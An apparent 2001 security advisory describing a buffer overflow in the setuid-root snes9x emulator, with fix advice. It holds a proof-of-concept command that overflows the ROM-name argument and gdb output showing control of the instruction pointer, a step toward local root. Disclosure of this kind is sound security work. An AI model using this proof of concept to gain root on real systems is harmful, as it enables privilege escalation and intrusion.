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From: Niels Heinen (zilli0ngmx.net)
Date: Tue Oct 16 2001 - 09:37:34 CDT
[ ** Snes9x buffer overflow vulnerability ** ]
Affected version: v1.37 prior versions might also be affected.
Tested platforms: FreeBSD, NetBSD, OpenBSD and Linux.
A buffer overflow vulnerability exists in the snes9x emulator. The
problem is that rom names given as an argument upon execution of
the program are not processed correctly and can be used to trigger
a buffer overflow.
On many systems the snes9x has been installed setuid root (also
recommended by the developers in the readme. This so it can access
/dev/mem which is required to run the program in full screen mode.
The setuid root bit gives the program the ability to perform actions
with the privileges of root with other words: exploiting this issue
can lead to root access.
[ ** Exploit information ** ]
Exploitation of this vulnerability is a bit tricky but defenitly
You need a buffer of 4089 characters to own the EIP this buffer has
to be contructed in a special way:
bash-2.05$ ./snes9x `perl -e 'print "A" x 85;print "B" x 4004;'`
Rate: 22050, Buffer size: 2048, 16-bit: yes, Stereo: yes, Encoded: no
Segmentation fault (core dumped)
bash-2.05$ gdb -core=snes9x.core
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `snes9x'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424141 in ?? ()
(gdb) info all
eax 0x0 0
ecx 0x282e3401 674116609
edx 0x1 1
ebx 0xbfbfab7c -1077957764
esp 0xbfbfab4c 0xbfbfab4c
ebp 0xbfbfab7a 0xbfbfab7a
esi 0xbfbfcb7c -1077949572
edi 0xbfbfbb7c -1077953668
eip 0x42424141 0x42424141 ( == BBAA)
eflags 0x10282 66178
cs 0x1f 31
ss 0x2f 47
ds 0x2f 47
es 0x2f 47
fs 0x2f 47
gs 0x2f 47
As you can see the bytes 83 - 87 of our buffer overwrite the EIP. We (Hobbes
and I) succesfully exploited this vulnerability on FreeBSD and Linux. Feel
free to mail for more information!
[ ** Fix information ** ]
Upgrade your snes9x package to the latest version if you want to use
it setuid root: http://www.snes9x.com
Greets to Hobbes, all safemode.org and #hacker_help (!shit ;)
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